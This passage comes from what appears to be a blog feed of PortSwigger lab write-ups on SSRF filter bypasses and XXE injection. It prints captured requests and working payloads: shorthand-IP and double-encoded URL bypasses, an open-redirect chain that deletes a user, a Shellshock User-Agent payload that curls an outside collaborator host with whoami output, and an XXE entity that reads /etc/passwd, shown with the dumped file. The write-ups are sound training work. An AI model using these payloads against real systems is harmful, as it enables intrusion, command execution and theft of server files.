Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa9008404dfa5fa811ab1e600af0083.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa9008404dfa5fa811ab1e600af0083.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I replace &lt;code&gt;stockApi&lt;/code&gt; with some typical payloads of SSRF which is,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http://127.0.0.1/admin&lt;/li&gt;
&lt;li&gt;http://localhost/admin&lt;/li&gt;
&lt;li&gt;but failed and shows this msg &lt;code&gt;&quot;External stock check blocked for security reasons&quot;&lt;/code&gt; with &lt;code&gt;400 bad request&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;So i decided to do brute force with all SSRF variations payloads and I used this &lt;a href=&quot;https://gist.githubusercontent.com/rootsploit/66c9ae8fc3ef387fa5ffbb67fcef0766/raw/d5a4088d628ed05f161b9dd9bf3c6755910a164f/SSRF-Payloads.txt&quot;&gt;payload list&lt;/a&gt; in intruder.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112002028.png&quot; alt=&quot;Pasted image 20251112002028.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And it works perfectly and got 2 payload which works,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://127.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://127.0.1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;This can be consider as short-hand IP addresses by dropping the zeros&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112001716.png&quot; alt=&quot;Pasted image 20251112001716.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now simple add &lt;code&gt;/admin/delete?username=carlos&lt;/code&gt; and we can to able solve but no there one trick which is that we can&apos;t able to access &lt;code&gt;/admin&lt;/code&gt; so it blocks the request,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112002629.png&quot; alt=&quot;Pasted image 20251112002629.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i tried multiple and this is what works,&lt;/li&gt;
&lt;li&gt;I double encode the &lt;code&gt;a&lt;/code&gt; character and place it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;a -&amp;gt; %61 -&amp;gt; %25%36%31
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112002900.png&quot; alt=&quot;Pasted image 20251112002900.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can do this &lt;code&gt;/admin/delete?username=carlos&lt;/code&gt; and it worked,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112003041.png&quot; alt=&quot;Pasted image 20251112003041.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112003055.png&quot; alt=&quot;Pasted image 20251112003055.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5: SSRF with filter bypass via open redirection vulnerability&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112003212.png&quot; alt=&quot;Pasted image 20251112003212.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to again check stocks feature and capture the req,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112003329.png&quot; alt=&quot;Pasted image 20251112003329.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0a81004704f58371828d3aca003900ba.web-security-academy.net
Cookie: session=ygzRzmhRAOCMgtWwlxpb6NN6oEpW7XwJ
Content-Length: 65
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a81004704f58371828d3aca003900ba.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a81004704f58371828d3aca003900ba.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;URL decoded &lt;code&gt;stockAPI&lt;/code&gt;, and this time this is only path and parameters,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/product/stock/check?productId=1&amp;amp;storeId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;As description says, ==&quot;The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.&quot;==&lt;/li&gt;
&lt;li&gt;So i tried to find some request like that and i found one when we do &lt;code&gt;Next product&lt;/code&gt; and capture that request,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /product/nextProduct?currentProductId=2&amp;amp;path=/product?productId=3 HTTP/2
Host: 0a81004704f58371828d3aca003900ba.web-security-academy.net
Cookie: session=zZHgN95G7oq4VGrrY1NZK3HcXccfbGBs; session=ygzRzmhRAOCMgtWwlxpb6NN6oEpW7XwJ
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a81004704f58371828d3aca003900ba.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This GET parameters can be pass directly to that post request because it is using this same endpoint and querying and in this endpoint there is one parameter named &lt;code&gt;path&lt;/code&gt; where we can inject out URL,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/product/nextProduct?currentProductId=2&amp;amp;path=/product?productId=3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/product/nextProduct?currentProductId=2&amp;amp;path=http://192.168.0.12:8080/admin?productId=3?
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;if we send req with with this upper parameters then it will redirect us to that page which is &lt;code&gt;open redirect&lt;/code&gt; vulnerability and we have to chain this with SSRF,&lt;/li&gt;
&lt;li&gt;so we have to take this and put that into previous &lt;code&gt;stockAPI&lt;/code&gt; parameter and it works and we got &lt;code&gt;200 OK&lt;/code&gt; so it means we inject our URL indirectly in another parameters,&lt;/li&gt;
&lt;li&gt;==so we bypass the relative path check and also add url==&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112004450.png&quot; alt=&quot;Pasted image 20251112004450.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can add delete user parameters and we will solve the lab, &lt;code&gt;/admin/delete?username=carlos&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112005333.png&quot; alt=&quot;Pasted image 20251112005333.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112005343.png&quot; alt=&quot;Pasted image 20251112005343.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 6: Blind SSRF with Shellshock exploitation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112010544.png&quot; alt=&quot;Pasted image 20251112010544.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per description, we have to grep &lt;code&gt;productID&lt;/code&gt; req and change its &lt;code&gt;referer&lt;/code&gt; with out collab domain which is &lt;code&gt;1jlskm070rbtxr7tmcmsdt4gs7yymtai.oastify.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /product?productId=1 HTTP/2
Host: 0ae40005040d22ca8156c5b4006c00c5.web-security-academy.net
Cookie: session=GfmFWgnW9V0VoouvfAGFoQnwcRKqrfRI
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae40005040d22ca8156c5b4006c00c5.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Referer: https://1jlskm070rbtxr7tmcmsdt4gs7yymtai.oastify.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112010916.png&quot; alt=&quot;Pasted image 20251112010916.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And we got response in out collab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112011030.png&quot; alt=&quot;Pasted image 20251112011030.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we have to exploit shellshock vulnerability,&lt;/li&gt;
&lt;li&gt;This is the classic Shellshock payload, where we can inject any command in &lt;code&gt;ANY_COMMAND&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;() { :;}; ANY_COMMAND
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;In our case we have blind SSRF so we have to get callback of DNS/HTTP into collaborators along with &lt;code&gt;name of OS user&lt;/code&gt; so here is the whole payload,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;() { :;}; curl http://g3k741kmk6v8h6r86r67x8ovcmid6auz.oastify.com/`whoami`
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we will add this into &lt;code&gt;User-Agent&lt;/code&gt; header from which it execute this,&lt;/li&gt;
&lt;li&gt;(&lt;a href=&quot;https://beaglesecurity.com/blog/vulnerability/shellshock-bash-bug.html&quot;&gt;Reference Related to ShellShock.....&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;And it is on internal server with some ip with this range, &lt;code&gt;192.168.0.X:8080&lt;/code&gt; so we have to brute force that,&lt;/li&gt;
&lt;li&gt;Here is the full request and we will start brute force in intruder.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /product?productId=1 HTTP/2
Host: 0ae40005040d22ca8156c5b4006c00c5.web-security-academy.net
Cookie: session=GfmFWgnW9V0VoouvfAGFoQnwcRKqrfRI
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: () { :;}; curl http://2gjthnx8xs8uus4ujdjtau1hp8vzjqaez.oastify.com/`whoami`
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://192.168.0.X:8080/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Starting the attack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112015556.png&quot; alt=&quot;Pasted image 20251112015556.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We got response in collaborator and got the OS user name, and by submitting this we solve the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;peter-3kO3iK.nvmew8ctcdnf9djfyyyepfg24takybvzk.oastify.com.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;peter-3kO3iK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112015531.png&quot; alt=&quot;Pasted image 20251112015531.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112015736.png&quot; alt=&quot;Pasted image 20251112015736.png&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!summary]
trigger a blind SSRF from the app (which fetches the &lt;code&gt;Referer&lt;/code&gt; URL) to an internal &lt;code&gt;192.168.0.X:8080&lt;/code&gt; host and use a Shellshock payload (in a header) to make that internal server perform a DNS lookup to my Burp Collaborator domain, the DNS request will contain the OS username, which you then submit to finish the lab&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lab 7: SSRF with whitelist-based input filter&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112020255.png&quot; alt=&quot;Pasted image 20251112020255.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to do SSRF on same parameter as previous which is &lt;code&gt;/product/stock&lt;/code&gt; and here is the captured request of it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0af50028036541f181472afa005c0005.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0af50028036541f181472afa005c0005.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0af50028036541f181472afa005c0005.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=AWpvTcTmRbPBK0aq7Tr7qEvnKpkL0LmS

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&amp;amp;storeId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We will try to inject URL in &lt;code&gt;stockAPI&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0af50028036541f181472afa005c0005.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0af50028036541f181472afa005c0005.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0af50028036541f181472afa005c0005.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=AWpvTcTmRbPBK0aq7Tr7qEvnKpkL0LmS

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;%2523 ==&amp;gt; Double Encoded # and it help to identify the fragment,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is just backend functionality which might looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;parsed = urlparse(stockApi)
if parsed.hostname != &quot;stock.weliketoshop.net&quot;:
    return error(&quot;External stock check host must be stock.weliketoshop.net&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!summary]
In short, serve is checking &lt;code&gt;stock.weliketoshop.net&lt;/code&gt; string before validating &lt;code&gt;%2523&lt;/code&gt;  and hostname must not be &lt;code&gt;localhost&lt;/code&gt; so we bypass it using &lt;code&gt;#&lt;/code&gt; symbol.
When this double-decoding happens, the URL parser now treats everything &lt;code&gt;after @ (userinfo separator) as path, not fragment&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;So now we have to delete the user and it will solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112154957.png&quot; alt=&quot;Pasted image 20251112154957.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112155038.png&quot; alt=&quot;Pasted image 20251112155038.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger XML eXternal Entity Injection (XXE) Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-xml-external-entity-injection-xxe/xxe/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-xml-external-entity-injection-xxe/xxe/</guid><description>Writeup of SSRF.</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;XML external entity (XXE) injection&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112022721.png&quot; alt=&quot;Pasted image 20251112022721.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application&apos;s processing of XML data.&lt;/li&gt;
&lt;li&gt;It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.&lt;/li&gt;
&lt;li&gt;In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What is DTD in XML&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional &lt;code&gt;DOCTYPE&lt;/code&gt; element at the start of the XML document.&lt;/li&gt;
&lt;li&gt;The DTD can be fully self-contained within the document itself (known as an ==&quot;internal DTD&quot;)== or can be loaded from elsewhere ==(known as an &quot;external DTD&quot;)== or can be hybrid of the two.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1: Exploiting XXE using external entities to retrieve files&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110101926.png&quot; alt=&quot;Pasted image 20251110101926.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This website have &lt;code&gt;Check Stock&lt;/code&gt; feature which is parsing XML input and return some value so we have to perform attack on it.&lt;/li&gt;
&lt;li&gt;We will clock check stock and capture the req,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110102107.png&quot; alt=&quot;Pasted image 20251110102107.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110102129.png&quot; alt=&quot;Pasted image 20251110102129.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a1d00120396b19f80a1266b002600b6.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/xml
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=tNViPEyPjgdD1alEAOyHvMjC4Qdf6RDx

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;stockCheck&amp;gt;
	&amp;lt;productId&amp;gt;
		1
	&amp;lt;/productId&amp;gt;
	&amp;lt;storeId&amp;gt;
		1
	&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So we will inject out payload inside DTD which will lead to  &lt;code&gt;LFI&lt;/code&gt; and leak of &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE test [ 
  &amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt; 
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the complete request,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a1d00120396b19f80a1266b002600b6.web-security-academy.net
Connection: keep-alive
Content-Length: 107
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/xml
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=tNViPEyPjgdD1alEAOyHvMjC4Qdf6RDx

&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE test [ 
  &amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt; 
]&amp;gt;
&amp;lt;stockCheck&amp;gt;
  &amp;lt;productId&amp;gt;&amp;amp;xxe;&amp;lt;/productId&amp;gt;
  &amp;lt;storeId&amp;gt;1&amp;lt;/storeId&amp;gt;
&amp;lt;/stockCheck&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110103143.png&quot; alt=&quot;Pasted image 20251110103143.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin / nologin
bin: x: 2: 2: bin: /bin:/usr / sbin / nologin
sys: x: 3: 3: sys: /dev:/usr / sbin / nologin
sync: x: 4: 65534: sync: /bin:/bin / sync
games: x: 5: 60: games: /usr/games: /usr/sbin / nologin
man: x: 6: 12: man: /var/cache / man: /usr/sbin / nologin
lp: x: 7: 7: lp: /var/spool / lpd: /usr/sbin / nologin
mail: x: 8: 8: mail: /var/mail: /usr/sbin / nologin
news: x: 9: 9: news: /var/spool / news: /usr/sbin / nologin
uucp: x: 10: 10: uucp: /var/spool / uucp: /usr/sbin / nologin
proxy: x: 13: 13: proxy: /bin:/usr / sbin / nologin
www - data: x: 33: 33: www - data: /var/www: /usr/sbin / nologin
backup: x: 34: 34: backup: /var/backups: /usr/sbin / nologin
list: x: 38: 38: Mailing List Manager: /var/list: /usr/sbin / nologin
irc: x: 39: 39: ircd: /var/run / ircd: /usr/sbin / nologin
gnats: x: 41: 41: Gnats Bug - Reporting System(admin): /var/lib / gnats: /usr/sbin / nologin
nobody: x: 65534: 65534: nobody: /nonexistent:/usr / sbin / nologin
_apt: x: 100: 65534::/nonexistent:/usr / sbin / nologin
peter: x: 12001: 12001::/home/peter: /bin/bash
carlos: x: 12002: 12002::/home/carlos: /bin/bash
user: x: 12000: 12000::/home/user: /bin/bash
elmer: x: 12099: 12099::/home/elmer: /bin/bash
academy: x: 10000: 10000::/academy:/bin / bash
messagebus: x: 101: 101::/nonexistent:/usr / sbin / nologin
dnsmasq: x: 102: 65534: dnsmasq, , ,: /var/lib / misc: /usr/sbin / nologin
systemd - timesync: x: 103: 103: systemd Time Synchronization, , ,: /run/systemd: /usr/sbin / nologin
systemd - network: x: 104: 105: systemd Network Management, , ,: /run/systemd: /usr/sbin / nologin
systemd - resolve: x: 105: 106: systemd Resolver, , ,: /run/systemd: /usr/sbin / nologin
mysql: x: 106: 107: MySQL Server, , ,: /nonexistent:/bin / false
postgres: x: 107: 110: PostgreSQL administrator, , ,: /var/lib / postgresql: /bin/bash
usbmux: x: 108: 46: usbmux daemon, , ,: /var/lib / usbmux: /usr/sbin / nologin
rtkit: x: 109: 115: RealtimeKit, , ,: /proc:/usr / sbin / nologin
mongodb: x: 110: 117::/var/lib / mongodb: /usr/sbin / nologin
avahi: x: 111: 118: Avahi mDNS daemon, , ,: /var/run / avahi - daemon: /usr/sbin / nologin
cups - pk - helper: x: 112: 119: user
for cups - pk - helper service, , ,: /home/cups - pk - helper: /usr/sbin / nologin
geoclue: x: 113: 120::/var/lib / geoclue: /usr/sbin / nologin
saned: x: 114: 122::/var/lib / saned: /usr/sbin / nologin
colord: x: 115: 123: colord colour management daemon, , ,: /var/lib / colord: /usr/sbin / nologin
pulse: x: 116: 124: PulseAudio daemon, , ,: /var/run / pulse: /usr/sbin / nologin
gdm: x: 117: 126: Gnome Display Manager: /var/lib / gdm3: /bin/false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110103303.png&quot; alt=&quot;Pasted image 20251110103303.png&quot; /&gt;&lt;/p&gt;
